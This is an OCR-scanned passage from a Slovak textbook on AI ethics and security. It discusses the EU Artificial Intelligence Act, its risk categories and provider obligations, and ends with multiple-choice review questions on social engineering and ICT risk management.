statov, ale aj o akékol'vek iné mimovladne cinitele.
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Alebo v intencidch si vis pacem para pacem — vyvarujuc sa pacifistickému nevyuzitiu
ich potencialu — dokazeme byt dostatocne zreli na ich obranné vyuzitie a nasadenie
pre ochranu Zzivota a ludskej dostojnosti i zabezpecenie skutocnych hodnot
spolocnosti.

(\D_} Aké vseobecné kontrolné mechanizmy by ste navrhli pre vyuZivanie systémov umelej
inteligencie v ramci algoritmického riadenia niektorej z oblasti fungovania stdatu?

\@_} Ako by mohol vyzerat' obciansky kontrolny mechanizmus disciplindrneho systému Al
na skole, resp. v prdci?

Legislativne kroky a reguldcie**

Az donedavna v ziadnej z krajin sveta neexistovala ucelena legislativa pokryvajtica
celt1 problematiku umelej inteligencie. Doterajsie regulacie dotykajtice sa technologii
Al boli bud velmi Specifické, rieSiac parcidlne problémy konkrétnych oblasti
nasadenia tychto systémov, a / alebo boli stcastou inych regulacii, napr.
kybernetickej bezpecnosti, ochrany osobnych tidajov, sektorovych regulacii v ramci
finan¢ného sektora alebo Statnej spravy.

V ramci Eurdpskej tnie vSak vznika tiplne nova regulacia, ktory nema obdobu nikde
vo svete.”” Stanovujuc si za ciel pokryt takmer celt problematiku stcasnych
systémov umelej inteligencie, ide vObec o prvi komplexnu regulaciu konkrétnej
technologie.”*

74 SANTAVY, Umeld inteligencia — dobry sluha a zly pan?, s. 178-189.

75 Vo svete v poslednom obdobi vzniklo viacero regula¢nych ramcov Al:
— EU AT HLEG Guidelines and Assessment List for Trustworthy Al (z nej prameni
eurdpsky Akt o Al)
- UK's ICO AI Auditing Framework
— Singapore Model Governance Framework
— Dubai Al Ethics Toolkit
— Hong Kong Ethical Accountability Framework
Eurépsky ramec je vSak podla analyzy Artificial Intelligence: Principles, laws, and
frameworks jednoznacne najvyvazenejsi, najucelenejsi a najkomplexnejsi.
Por. Artificial Intelligence: Principles, laws, and frameworks. OneTrust DataGuidance
Limited, 2022. ISSN 2398-9955.
Z najnovsich aktivit treba vyzdvihnuat ostatné legislativne a regula¢né pociny v USA:
Executive Order on Safe, Secure, and Trustworthy Artificial Intelligence. [on-line]. [cit.
16. januara 2024].
Dostupné na internete: <https://www.whitehouse.gov/briefing-room/statements-
releases/2023/10/30/fact-sheet-president-biden-issues-executive-order-on-safe-secure-
and-trustworthy-artificial-intelligence/>

76 PATTYNOVA, J. Vyzvy a pravni aspekty umélé inteligence. In: Uméla inteligence 2021.
Praha: 2021.
Dostupné na internete: <https://www.tuesday.cz/akce/umela-inteligence-1/zaznam-
akce/>
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Primarnym dévodom pre vznik a aplikovanie tejto regulacie je dopad fenoménu
umelej inteligencie na cloveka a spolocnost. Jednoducho povedané, umela
inteligencia je sposobila zmenit postavenie cloveka.

Ludska bytost so svojim zmyslovym vnimanim, intelektudlnym vybavenim
a schopnostami i komplexnou psychologiou nie je prakticky schopna technologiam
tohto , kalibru” vobec odolavat. Spolocnost tak bez adekvatnych regulacii
a nastavenych limitov nie je schopna celit dosledkom cinnosti systémov a vplyvu
technoldgii Al s potencialom rozkladat zdkladné principy, na ktorych je nasa
spolocnost postavena, napriklad negativne vplyvat na Tudské prava a dostojnost
¢loveka, podryvat demokratické principy a manipulovat, atakovat bezpecnostné
mechanizmy a pod.””

Tento rozklad modze viest az k disruptivnym zmenam v modernej informacnej
a znalostnej spolocnosti.

Podla Gartner Top Strategic Predictions For 2020 And Beyond , Technoldgie (primdrne
Al) a ich aplikdcie si pripravené ovplyvnit kazdy aspekt toho, ¢o nazyvame
clovecenstvom”. 78

Preto eurdpski zakonodarcovia prisli s komplexnou regulaciou, ktora (podobne ako
pri GDPR) bude legislativou aspirujucou na globalny Standard, resp. regulaciou
zasadnym spdsobom ovplyvnujticou zakonodarstvo aj ostatnych krajin.

Okrem Gartnerom spomenutych trendov vyuzivania technoldgii Al ktorych
rizikové dopady st zrejmé uz v sticasnosti (napr. na socialnych sietach) a ktorych
dosledky Tudska spoloénost nie je schopnad v tak kratkej dobe vstrebat, resp.
adaptovat sa na ne, eurdpski zakonodarcovia reagovali i na dalSie ,patologie”
avyzvy:*”

e dilema medzi personalizaciou zakaznickej skisenosti/reklamy a manipulaciou
v dosledku informacnej asymetrie. V sticasnosti socialne siete, poskytovatelia
sluzieb, banky a iné organizacie spractivaju o svojich pouzivateloch na zaklade
algoritmického spracovania vstupov zdkaznikov extrémne vela (nielen)
osobnych tdajov a st schopni dalekosiahleho modelovania a analyz. Bez
regulacie by tento trend nabral obludné rozmery.

277 PATTYNOVA, Vyzvy a pravni aspekty umélé inteligence.
Dostupné na internete: <https://www.tuesday.cz/akce/umela-inteligence-1/zaznam-
akce/>

8 Gartner Top Strategic Predictions For 2020 And Beyond. [on-line]. [cit. 9. septembra
2023].
Dostupné na internete: <https://www.gartner.com/smarterwithgartner/gartner-top-
strategic-predictions-for-2020-and-beyond>

79 PATTYNOVA, Vyzvy a pravni aspekty umélé inteligence.
Dostupné na internete: <https://www.tuesday.cz/akce/umela-inteligence-1/zaznam-
akce/>
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® ochrana 0s6b, spolocnosti a demokracie vzhladom na rizika deep fake

a manipulacii, pri ktorych ide o takti manipulaciu reality (primarne medialnych
zaznamov a prenosov, informacnych tokov a spravodajstva) prostrednictvom
technologii Al, Ze prakticky nie je mozné rozpoznat realne medidlne zaznamy
a spravy od umelych, nemajtcich s realitou ni¢ spolocné. Osobitne obrazovy
materidl méa schopnost posobit na emocionalnu zlozku a prinasat podprahové
podnety, voci ktorym — ak st v podani sofistikovanych algoritmov Al - m6zeme
byt takmer bezbranni.

moznost zneuzitia biometrickych technolégii a osobitne problematika
identifikacie o0sOb (face recognition) v redlnom case. V digitalizovanej
spolocnosti ide o velky problém v oblasti dohladovych systémov, sledovania,
ochrany stkromia a [udskych prav. Navyse sa s pomocou biometrickych tidajov
v informacnom svete overuje digitalna identita osoby, takze ich zneuzitie méze
mat fatalne nasledky z pohladu prava i etiky.

riziko sofistikovanych zasahov do stkromia a osobnych slobod z vaznych
ddévodov, napr. ochrana zdravia a pod. I ked by sa mohlo zdat, Ze ide primarne
o oblast, ktorej sme sa venovali pri dohladovych a spravodajskych systémoch,
¢o i len parcialne smerovanie k algoritmickému riadeniu spolo¢nosti poukazuje
na cely rad novych problémov, kedZze pre uspesnost tychto systémov Al je
potrebné zasiahnut do stkromia velkého mnozstva Iudi.?®

Synergicky efekt doterajsich parcidlnych reguldcii, metodického skiimania vplyvu
technoldgii umelej inteligencie na cloveka a spolo¢nost i rastiiceho povedomia
a angazovanosti na poli etiky a prava sa na pdde institacii EU pretavil do navrhu
nariadenia® o umelej inteligencii, ktory, pod skratenym nazvom Nariadenie
o umelej inteligencii (Artificial Intelligence Act), bol zverejneny 21. aprila 2021.2%2

Nariadenie bolo doneddvna v stave revizie a doplneni zo strany Eurdpskeho
parlamentu a Rady EU. Tento proces bol zavieny 8. decembra 2023 dosiahnutim

280

281

282

Napr. pre spravne diagnostikovanie vzacnych druhov vaznych choréb musi algoritmus
Al mat pristup k v sti¢asnosti osobitne chranenej kategorii zdravotnych osobnych
tdajov, pre spracuvanie hypoték a tiverov v realnom case s odolnostou voci
sofistikovanym podvodom musi byt systém Al natrénovany na nesmiernom mnozstve
finanénych dat zakaznikov, podpora pre automatizované sidne konania musi
vychadzat z vyborne zvladnutych databaz realizovanych sadnych pripadov a pod.

Na stupnici nariadenie — smernica — rozhodnutia — odportcania/stanoviska ma
nariadenie najvacsiu pravnu silu, kedze ma prednost pred vnutrostatnym pravom, je
vseobecne zavazné pre vsetkych, neimplementuje sa — plati v takej forme, v akej ho
prijal Eurépsky parlament a Rada.

Plny ndzov nariadenia znie:

Nariadenie Eurépskeho parlamentu a Rady, ktorym sa stanovuju harmonizované
pravidla v oblasti umelej inteligencie (Akt o umelej inteligencii) a menia niektoré
legislativne akty unie. [on-line]. [cit. 24. marca 2022].

Dostupné na internete: <https://eur-lex.europa.eu/legal-content/SK/TXT/?
uri=CELEX:52021PC0206>
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politickej dohody a vytvorenim finalneho znenia nariadenia,® ktoré je predmetom
zaverecného legislativneho procesu medzi Radou EU a Eurdpskym parlamentom.
Nariadenie by malo vstupit do platnosti v prvom stvrtroku 2024.

Nariadenie priamo na péde EU “nestavalo na zelenej ltike” — uZ v aprili 2019
prezentovala Skupina expertov Al na vysokej trovni Etické usmernenia pre
déveryhodnti umelt inteligenciu. ISlo o revidované znenie z roku 2018, do ktorého
bolo v ramci otvorenej konzultacie zapracovanych viac ako 500 pripomienok.”
Mimochodom, sumarom usmerneni je nami uvadzana vSeobecna poziadavka na
systémy Al ktoré musia byt:**

e zakonné — reSpektujlce vietky platné zakony a predpisy,

o etické — reSpektujtice etické zasady a hodnoty,

e robustné - z technického hladiska a zaroven zohladnujica svoje socidlne
prostredie.

Nariadenie o umelej inteligencii sa naviac inSpirovalo uspesnym zavedenim
dolezitej regulacie v oblasti ochrany osobnych tdajov, tzv. GDPR** a prevzalo
z neho zakladné regulacné schémy, aplikované na problematiku umelej inteligencie
a spojené s aktualnym stavom poznania v oblasti etiky technologii Al

Nariadenie o umelej inteligencii:

e nadvizujuc na ,White Paper” EU kladie doraz na splnenie human-centered
pristupu, teda pozaduje také systémy Al, ktoré su zamerané na cloveka. Bez
splnenia tejto podmienky nie je mozné hovorit o doveryhodnej umelej
inteligencii.

e zavadza vysoky Standard povinnosti. Doteraz naakumulované osvedcené
postupy (best practices) z oblasti implementacie systémov Al zameranych
na ¢loveka, ktoré spitiaju eticko-pravne poziadavky, prenasa do podoby zkona.

%3V Case pisania tejto kapitoly findlna verzia nariadenia este nebola publikovana.

4 Ethics guidelines for trustworthy Al [on-line]. [cit. 28. marca 2022].

Dostupné na internete: <https://digital-strategy.ec.europa.eu/en/library/ethics-
guidelines-trustworthy-ai>
V usmerneniach sa zaroven predklada sedem klticovych poziadaviek, ktoré by mali
systémy Al spiiiat, aby sa mohli povazovat za déveryhodné: ludské zastupenie
a dohl'ad; technicka odolnost a bezpec¢nost; ochrana stikromia a sprava adajov;
transparentnost; rozmanitost (diversity), nediskriminacia a spravodlivost; spolocensky
a environmentalny blahobyt; zodpovednost.
%6 General Data Protection Regulation — Nariadenie Eurépskeho parlamentu a Rady (EU)
2016/679 z 27. aprila 2016 o ochrane fyzickych os6b pri spractivani osobnych tdajov
a o volnom pohybe takychto tidajov. [on-line]. [cit. 19. februara 2022].
Dostupné na internete: <https://eur-lex.europa.eu/legal-content/SK/TXT/?
uri=celex%3A32016R0679>
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o aplikuje rozsirenu teritorialnu pésobnost, kedze jej regulacné poziadavky sa
vztahujui na akékolvek systémy Al, jej tvorcov a prevadzkovatelov, pokial
akymkolvek spdsobom zasahujti do Zivota obyvatelov a §tatnych celkov EU.

e vyuziva pomerne Siroku definiciu systému Al, ktora zahfna nielen strojové
ucenie, ale aj pristupy zalozené na logike, resp. poznani (logic and knowledge
based) a Statistické metody (v zasade sa snazi pokryt celd problematiku
symbolickych a subsymbolickych systémov Al). Vo finalnej verzii je tato
definicia prispdsobena nedavno aktualizovanej definicii OECD.

e reguluje a zdkonom riesi vztahy medzi prevadzkovatelmi a pouzivateImi
technoldgii Al Ide tak o systémy Al, ktoré nejakym sposobom interaguju
s okolim (netyka sa to napr. uzavretého systému, ktory riadi nejaky vyrobny
proces a v ramci vyrobnej linky pracuje len s technickymi datami materialov
a pod.).

e zavadza poziadavky na informovanost: fyzické osoby musia byt informované
pri interakcii so systémami AI (napr. s chatbotmi) a obsah vygenerovany
algoritmami umelej inteligencie bude musiet byt oznaceny a identifikovatelny.

e podla osvedceného vzoru GDPR stanovuje vysoké sankcie za porusenie
nariadenia.?®” Pri beznom poruseni sankcie siahajit az do vysky 15 milionov eur,
resp. 3% celosvetového obratu, no ak by islo o porusenie clanku 5 (zakazané
systémy Al) a clanku 10 (sprava dat), sankcie sa mézu vysplhat az do vysky 35
miliénov eur, resp. 7% celosvetového obratu.

Ako sme uviedli, nariadenie by malo vstupit do platnosti v prvom stvrtroku 2024
s néslednou legisvakanénou lehotou v diZke 24 mesiacov umoziiujicou po schvéleni
nariadenia jeho implementaciu. Tato legisvakan¢na lehota?® je vSak na rozdiel od
inych reguldcii dost oSemetna, lebo systémy umelej inteligencie st principialne iné
— z povahy veci nie je v mnohych pripadoch mozné technologicky dopliat
zabezpecenie poziadaviek nariadenia az po zaciatku jeho ti¢innosti.?®

Vzhladom na dizajn, parametrizaciu, trénovanie a dosledné zabezpecenie
fungujiceho systému Al je potrebné poziadavky nariadenia implementovat od
pociatku vyvoja daného systému. Zverejneny navrh Nariadenia o umelej inteligencii
tak extrémne nabera na vyzname, pretoze — odhliadnuc od moznych tiprav v ramci

%7 Vysoké sankcie spolu s definovanymi a realizovanymi mechanizmami kontroly
reSpektovania GDPR asi v najvacsej miere prispeli k rychlej adaptacii potrebnych
postupov ochrany osobnych tdajov. To isté sa ocakava aj v oblasti umelej inteligencie.

%8 Obdobie medzi platnostou a ti¢innostou sa nazyva legisvakac¢na lehota a sluzi na to, aby

sa kazdy, komu zo zakona vyplyvajt urcité prava alebo povinnosti, mohol obozndmit
s jeho obsahom. V pripade systémov Al je doraz kladeny nielen na oboznamenie sa
s obsahom, ale aj na potrebnu technologickt pripravu.

2 PATTYNOVA, Vyzvy a pravni aspekty umélé inteligence.
Dostupné na internete: <https://www.tuesday.cz/akce/umela-inteligence-1/zaznam-
akce/>
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prebiehajticeho legislativneho procesu — bude zavédzovat uz v sicasnosti vznikajtice
systémy, ich tvorcov a prevadzkovatelov, resp. poskytovatelov.?

Po vstupe Nariadenia o umelej inteligencii do platnosti sa na centralnej rovni zriadi
tzv. Eurdpsky dozorny organ pre reguldciu umelej inteligencie. Analogicky na
arovni ¢lenskych statov musia byt zriadené organy pre dozor nad trhom z dévodu
presadzovania prava v suvislosti s poskytovanim a pouzivanim AL

Nariadenie o umelej inteligencii definuje tri typy technoldgii Al

e zakazané systémy
e vysoko rizikové systémy
e ostatné systémy

Medzi zakazané systémy Al patria (¢l. 5):

podprahové techniky ovplyvnujtice spravanie jednotlivcov,

systémy rozpoznavajtice emocie pri praci a vzdelavani,

metddy vyuzivajuce slabiny zraniteInych osob (napr. deti, hendikepovani),
systémy socialneho hodnotenia (social scoring) vyuzivané statnou spravou,
Specifické prediktivne policajné aplikacie,

biometricka identifikacia v redlnom case na verejnych priestranstvach organmi
Statnej moci (ini ani nemo6zu) okrem opravnenych vynimiek (face recognition
moze mat vynimku, no napr. social scoring nie).

Vysoko rizikové systémy (Cl. 6 + prilohy I a III.), na ktoré sa bude viazat systém
povinnosti, resp. zodpovednosti a certifikacie v ramci EU, sa radia do viacerych tzv.
sektorov:

zamestnavanie, riadenie 'udskych zdrojov
vzdeldvanie a odborné skolenia
zdravotnictvo a medicinske zariadenia
autonomne vozidla a doprava

pristup k verejnym sluzbam

kritickd infrastruktara

systémy na rozpoznavanie emocii
biometricka identifikacia

presadzovanie prava, hrani¢na kontrola, migracia a azyl
justicnd administracia

overovanie bonity osob a pod.

Kategoéria Ostatné systémy Al zahfna vsetky ostatné technologie umelej inteligencie,
ktoré — az na ¢l. 52 — nie s viazané ziadnymi osobitnymi povinnostami. Cl. 52

20 Ak v pripade GDPR patrili principy security by design a privacy by design k best
practices, v pripade systémov Al je ethics by design a regulation by design nutnou
podmienkou ich vyvoja, nasadenia a prevadzky. V tejto oblasti by teda systémy Al mali
byt tzv. odolné voci buducnosti (future proof).
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nariaduje, aby pre pouzivatelov bolo zrejmé, Ze interaguju so systémom AL
V zasade mozno povedat, ze Ostatné systémy Al st viazané povinnostou
transparentnosti. Naviac sa odportca, aby ¢lenské Staty podporovali dobrovolné
prijatie etickych zavézkov, napr. prostrednictvom koédexu spravania a pod.

Findlna verzia nariadenia sa osobitnym sp6sobom venuje generativnym systémom
umelej inteligencie, pricom zavadza Specifické poziadavky na transparentnost
a zverejnovanie.

Délezitou suicastou nariadenia sd tzv. vyznamné povinnosti poskytovatelov:*!

riadenie rizik (¢l. 9): povinnost implementovat interné procesy za tcelom
identifikacie, analyzy a zmiernovania nasledkov rizik v stvislosti s vysoko
rizikovymi systémami Al

sprava dat (cl. 10): pozaduje, aby testovacie a tréningové datasety boli ,, vysokej
kvality”, aby tak systém Al ktory ich vyuziva, nebol diskriminacny a nevytvaral
nepredvidané, resp. nespravne vysledky;

technicka dokumentacia (¢l. 11): stanovuje povinnost pripravit detailnu
technickt dokumentaciu (jej rozsah je definovany v prilohe IV), ktora umozni
auditovanie systému Al, vratane overenia jeho vysledkov;

interné zaznamy (¢l. 12 a 20): nariaduje poZziadavku na zaznamenavanie
(logovanie) a uchovavanie zaznamov jednotlivych udalosti spojenych s vyvojom
a vyuzivanim systému Al

transparentnost (cl. 13): wukladd povinnost poskytnut pouzivatelovi
dokumentdciu a manual pre pouzivanie systému Al, vdaka ktorému pouzivatel
moze porozumiet a vykonavat kontrolu nad vytvaranim vysledkov systému Al;
Iudsky dohlad (¢l. 14): vyzaduje zabezpecenie moznosti zasahu
kvalifikovanych osob urcenych pouzivatelom, predovsetkym schopnost celkom
prerusit prevadzku systému Al a zmenit vysledok vytvoreny tymto systémom,;
presnost, robustnost (spolahlivost) a kyberneticka bezpecnost (cl. 12):
pozaduje, aby miera presnosti bola deklarovana v technickej dokumentacii, aby
systém Al bol odolny voci chybdm a nejasnostiam a tiez proti Skodlivym
zasahom tretich stran;

systém riadenia kvality (¢l. 17): uklada povinnost implementovat systém
riadenia kvality, ktory by minimalne mal zahfnat rozsiahlu internt
dokumentdciu a procesy pre zabezpecenie testovania a preverovania;
monitorovanie po uvedeni na trh (post-marketing monitoring, ¢l. 54): vyjadruje
povinnost zabezpecif monitorovanie v sulade s nariadenim aj po uvedeni
do predaja, resp. prevadzky, ktoré by bolo zalozené na datach poskytnutych
pouzivatel'mi, resp. ziskanych z inych zdrojov;

posudenie zhody (¢l. 43): okrem vynimiek (zdravie, bezpecnost o0sob,...) sa
pozaduje postdenie vykonavané priamo poskytovatelmi systému Al (self-

»1 PATTYNOVA, Vyzvy a pravni aspekty umélé inteligence.
Dostupné na internete: <https://www.tuesday.cz/akce/umela-inteligence-1/zaznam-
akce/>

228



assessment) a tiez vykonanie jeho aktualizacie pri kazdej vyznamnej zmene
systému;

e registracia (Cl. 61): uklada povinnost registrovat systém Al a poskytnit o riom
informécie podla prilohy VIL Tieto informécie budu vedené v databaze EU.

e oznamovanie incidentov (¢l. 62): stanovuje povinnost hldsit prisluSnym
organom ¢lenskych statov EU vsetky zavazné incidenty alebo poruchy systému
Al ktoré by predstavovali porusenie povinnosti EU pre ochranu Iudskych prav.

Mnozina vyznamnych povinnosti vSak prinasa aj jedno velké jarmo (naroény
problém/tarchu): z takmer idedlu pre rieSenie doveryhodného, transparentného a na
¢loveka orientovaného systému Al sa tymto nariadenim stdva minimalny Standard
- zakonna povinnost, ktortt nebude I'ahké splnit.

Nie je po technickej a procesnej stranke vobec Iahké niektoré povinnosti splnit.
Uvedme maly priklad: Je v sticasnosti redlne mat dokonaly tréningovy dataset alebo
mat tak vytrénovany systém Al, aby neniesol rizika long-tail efektu? Najdeme
viacero scendrov, ktoré poukazuju na extrémnu obtaznost splnenia niektorych
povinnosti.

Vyzvou je i pripadny nestilad s uz existujiicim nariadenim o ochrane osobnych
udajov (GDPR). Ako napriklad zostladif princip minimalizacie tidajov z GDPR
s poziadavkou na tplnost datasetov a povinnostou uchovavania logov s citlivym
obsahom? GDPR stanovuje tituly, t.j. ddvody pre spractivanie osobnych tidajov. Ako
obhdjit dovody Specifické pre konkrétne algoritmy AI? Ako zosuladit poziadavku
na pouzivatelské data, vdaka ktorym sa systém ,uci”, s podmienkami GDPR?
Viaceré problémy este cakaji na vyrieSenie.*”

Dalsim problémom je ekonomicka, odborna i ¢asovd narocnost spojena so
zabezpedenim kompatibility s uvedenym nariadenim. Cim zloZitejsi systém, naviac
ak ide o vysoko rizikovy systém, tym vacsou vyzvou bude implementicia
poziadaviek nariadenia.

A do tretice — vyvinut a prevadzkovat systém kompatibilny s Nariadenim o umelej
inteligencii sa prejavi vo zvysenej ekonomickej zatazi v porovnani s konkurenciou,
hlavne mimo EU.

Znovu sa vratiac k analégii Nariadenia o ochrane osobnych tidajov (GDPR),
i v pripade Nariadenia o umelej inteligencii sa EU bude potykat s rovnakymi
problémami ,velkého jarma” regula¢nych poziadaviek. S odstupom ¢asu mozno
povedat, Ze vzhladom na nekontrolovatelné “El Dorado” netransparentného
nardbania s osobnymi tudajmi naprie¢ celym digitdlnym svetom bolo GDPR
zasahom v hodine dvanastej a jeho benefity neustale prichadzajt. Silny regulacny
imperativ (reguldcia stupna nariadenie, vysoké pokuty a pod.) a pomerne dobre

22 PATTYNOVA, Vyzvy a pravni aspekty umélé inteligence.
Dostupné na internete: <https://www.tuesday.cz/akce/umela-inteligence-1/zaznam-
akce/>
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zvladnuta legisvakancna lehota naviac zabezpecili, Ze nariadenie printtilo tvorcov,
prevadzkovatelov a poskytovatefov informacnych systémov prisposobit sa
a akceptovat pravidla hry.

Vzhladom na solidny regulacny obsah Nariadenia o umelej inteligencii,
moznosti jeho nasadenia a vymahania podla vzoru a na zaklade skusenosti
s GDPR si myslime, Ze toto nariadenie ma potencial byt délezitym vkladom pre
zabezpecenie etického, robustného a pravneho vyuzivania systémov umelej
inteligencie (ANI) v informacnej spolocnosti a digitalnom veku.

V akénom radiuse doteraz uvedenych legislativnych aktivit sa prevazne nachadzaju
slabé systémy umelej inteligencie (ANI). I ked zdkladny eticko-pravny ramec
zostava v platnosti, nie je jednoduché pravne uchopit systémy, ktoré sa asporn
v niektorych aspektoch priblizuja silnej a vSeobecnej umelej inteligencii (AGI).

V pripade technoldgii silnej a vSeobecnej umelej inteligencie bude vyvstavat otazka
ich pravneho postavenia.””® Mohla by za istych okolnosti existovat urcita sposobilost
systému AGI byt nositefom prav a povinnosti predvidanych pravnym poriadkom?
Pripadne, mohol by systém AGI vlastnymi (pravnymi?) tkonmi nadobudat prava
a brat na seba povinnosti? Ako by to bolo v pripade schopnosti analogickych
Iudskému uvazovaniu a prejavovaniu vole? Kto by mal byt nositefom autorskych
prav v pripade diel vytvorenych algoritmami umelej inteligencie?**

I tieto otazky poukazujii na komplexnost vyzvy a potencionalny dopad budtcich
systémov AGI prakticky na akukol'vek oblast Zivota spolocnosti.

Sti¢astou pripravovanej legislativy je aj povinnost informovat’ pouzivatelov, Ze ich dita su
spractivané technologiou umelej inteligencie.

\®_} Uved'te priklady systémov Al, ktoré spractivajui pouZivatel'ské, resp. klientské dita.

Q) Skiiste navrhnut spdsob implementdcie informovania o tomto spracovani
P p P
pouZivatel'skych tidajov.

(\D} Uved'te niekol'ko prikladov moznej kolizie medzi ustanoveniami Zdkona o umelej
inteligencii a GDPR, ktoré mozu nastat pri tvorbe, resp. vyuZivani systémov Al

2 Uz v roku 2017 Eurdpsky parlament, riesiac problematiku robotickych systémov,
reflektoval problematiku pravneho statusu Al vo vyzve Komisii, aby sa venovala
vytvoreniu ,$pecifického pravneho postavenia pre roboty v dlhodobom horizonte, aby
sa aspon tie najsofistikovanejsie autonomne roboty mohli povazovat za elektronické
osoby zodpovedné za ndhradu akejkol'vek skody, ktortt mézu spdsobit.”

Uznesenie Eurdpskeho parlamentu zo dna 16. 2. 2017 obsahujuce odportcania pre
Komisiu k normam obcianskeho prava v oblasti robotiky (2015/2103(INL)). [on-line].
[cit. 29. marca 2022].

Dostupné na internete: <https://eur-lex.europa.eu/legal-content/SK/TXT/PDF/?
uri=CELEX:52017IP0051&from=EN>

24 STARHA, S., GASPAROVIC, R. Al z pohladu prava. [on-line]. [cit. 9. septembra 2023].
Dostupné na internete: <https://www.epravo.sk/top/clanky/ai-z-pohladu-prava-4483.
html>
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Otazky pre testovanie znalosti

1.

Co je kognitivna chyba v tisudku?

a. Je to systematicka, opakovana chyba v mysleni, rozhodovani, odhade
alebo inych myslienkovych procesoch.

b. Je to ndhodna chyba v mysleni, rozhodovani, odhade alebo inych
myslienkovych procesoch.

c. Je to izko vymedzena chyba v mysleni, rozhodovani, odhade alebo inych
myslienkovych procesoch, ktora vznika za Specifickych okolnosti.

Dovera v technické vymozenosti a internetovy obsah je prikladom:

a. pretextu

b. kognitivnej chyby v tsudku

c. techniky, ktorti vyuzivaju tito¢nici

Technika, pri ktorej titocnik pontikne ¢asto bezvyznamnu informaciu, za ktora

potom vyzaduje vyzradenie citlivych informacii alebo vykonanie nepovolenej
akcie sa nazyva:

a. odplata
b. reciprocita

c. afekt

Vektor utoku je proces kombinujuci:

a. sposob, techniku skryvania, ciel a dopad

b. sposob, zranitelnost, ciel a dopad

c. sposob, techniku skryvania, techniku exfiltracie, ciel a dopad
Co je spoofing v socidlnom inZinierstve?

a. maskovanie IP adresy pozivaca

b. maskovanie identity ttocnika

c. maskovanie exploitu

Ktory z nasledovnych krokov nie je stcast Cyber kill chain?
a. exploitacia

b. pretext

c. dodanie

Dopady ttoku socidlnym inzinierstvom su:
a. ekonomické, personalne, socialne

b. technické, organizacné, personalne

c. fyzické, logické

Cielom socidlnych inzinierov je ¢asto ziskat:
a. IBAN

b. adresu bitcoin penazenky

c. ¢islo, CVV a expiraciu kreditnej karty
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9. Nahostovanie falo$nej stranky moZze ttoc¢nik vyuzit:
a. Typosquatting
b. Hipposquatting
¢. Domain fronting
10. Skody z titoku socialnym inZinierstvom na organizaciu:
a. st izolované na organizaciu.
b. s izolované na obet, od ktorej organizacia ziada nahradu sSkody.
c. zasahuju rodinu obete.

11. Psychicka forma nasilia, vylucovanie niekoho z kolektivu alebo spolocnosti
istou skupinou navzajom prepojenych l'udi, ¢iastocna alebo. tiplna ignordcia sa
nazyva:

a. grooming
b. ostrakizacia
c. mobbing
12.  Prikladom vyuzitia Al na socidlne inZinierstvo je:
a. deepfake video propagujtice falosnu kryptoburzu
b. fuzzing softvérovej binraky na pritomnost zranitelnosti
c. generovanie OTP cez LLM ChatGPT
13.  Deepfake sa nepouziva na:
a. generovanie falosného videa
b. generovanie falosného zvuku / hlasu
c. generovanie falosného textu

14.  Preco utoc¢nik potrebuje od obete vylakat aj 3D Secure kod?

a. PretoZe umoznuje nepretrzity pristup do internet bankingu.
b. Pretoze je potrebny na potvrdenie transakcie.
c. Pretoze je potrebné sa nim preukazat pri komununikacii s bankou.

15.  Co je motivaciou pri titoku na hraca?

a. ukradnutie penazi z internet bankingu
b. ukradnutie penazi z kreditnej karty
c. ukradnutie penazi v hre
16. Ktory z krokov nizsie nie je odportcany pri podvode?
a. povedat o ttoku ludom, ktorym doverujeme
b. skontrolovat zariadenia na infekciu skodlivym kédom
c. snazif sa podviest tito¢nika a ziskat peniaze naspat

17.  Aky by mal byt spravny prvy krok v pripade, ak som bol podvedeny a prisiel
som o peniaze.

a. zablokovat platobnu kartu
b. kontaktovat policiu

c. kontaktovat moju banku
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18.

19.

20.

21.

22.

23.

24.

25.

Co je to IKT riziko?

a. riziko, ktoré identifikujeme v ramci oblasti informacnych
a komunikacnych technologii

b. riziko, ktoré nema vplyv na pouzivanie informacnych a komunikac¢nych
technologii

c. riziko, ktoré vieme odstranit aplikovanim informacnych a komunikacnych
technoldgii

Ako sa pocita riziko?

a. Riziko = dopad x pravdepodobnost

b. Riziko = dopad + pravdepodobnost

c. Riziko = dopad / pravdepodobnost

Preco potrebujeme rozdelit zodpovednost za vykonnu a kontrolnt ¢innost?

a. Nie je mozné stihat vykonavat obe ¢innosti naraz.

b. St v konflikte zaujmov a ich kumuldacia vedie k riziku nespravnych
rozhodnuti.

c. Nepotrebujeme ich rozdelovat.

Aky je vztah medzi aktivom a rizikom?

a. Aktiva a rizika st navzajom nezavislé.

b. Aktiva vytvaraju rizika.

c. Rizik4 pdsobia na aktiva.

Hrozby delime na:

a. kybernetické a netechnické

b. zraniteIné a nezranitelné

c. interné a externé, imyselné a neimyselné
Aky je vztah medzi hrozbou, zranitelnostou, aktivom a rizikom?
a. Hrozba pdsobi na aktivum tak, aby zranitelnost viedla k riziku.

b. Hrozba vyuziva zraniteInost na aktive, ¢im vznika riziko.

c. Hrozba vyuziva zranitelné riziko, aby posobila na aktivum.

Cielom manazmentu rizik je:

a. odstranovanie zranitelnosti, ¢iIm sa v ¢o najvacsej miere zabrani, aby
hrozba narusila aktivum;

b. elimindcia rizik na nulovt troven, aby boli aktiva ¢o najviac chranené;

c. formalna evidencia rizik pre tcely auditu alebo stiladu, bez potreby ich
dalsieho rieSenia;

Ako meriame pravdepodobnost naplnenia rizika?

a. podla frekvencie vyskytu udalosti, pri ktorych déjde k naplneniu rizika

b. podla periédy vyskytu udalosti, pri ktorych dojde k naplneniu rizika

c. podla dopadu vyskytu udalosti, pri ktorych dojde k naplneniu rizika
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Aplikovanie antivirusu je prikladom:
a. hrozby

b. rizika

c. opatrenia

Manazér IKT rizik nezodpoveda za:

a. nastavenie metodiky riadenia rizik v organizdcii

b. akceptaciu rizik

¢. monitorovanie rizikového profilu

Aky je rozdiel medzi inherentnym a rezidualnym rizikom?

a. Inherentné riziko nie je mozné znizovat na rozdiel od rezidudlneho rizika.

b. Inherentné riziko je riziko zostavajiice po implementdcii opatreni na
zniZenie rezidualneho rizika.

c. Rezidualne riziko je riziko zostavajtice po implementacii opatreni na
zniZenie inherentného rizika.

Ktoré z nasledujticich moznosti nie je stcastou zivotného cyklu manazmentu

rizik?

a. postudenie

b. akceptacia

c. monitorovanie

Ktoré z nasledovnych rizik je najlepsim kandidatom na akceptaciu?

a. riziko s vysokou pravdepodobnostou a vysokym dopadom

b. riziko s vysokou pravdepodobnostou a nizkym dopadom

c. riziko s nizkou pravdepodobnostou a nizkym dopadom

Ktora z nasledovnych moznosti nie je reakciou na riziko?

a. ignoracia

b. zmiernenie

C. prenos

Aky je rozdiel medzi risk apetitom a risk toleranciou?

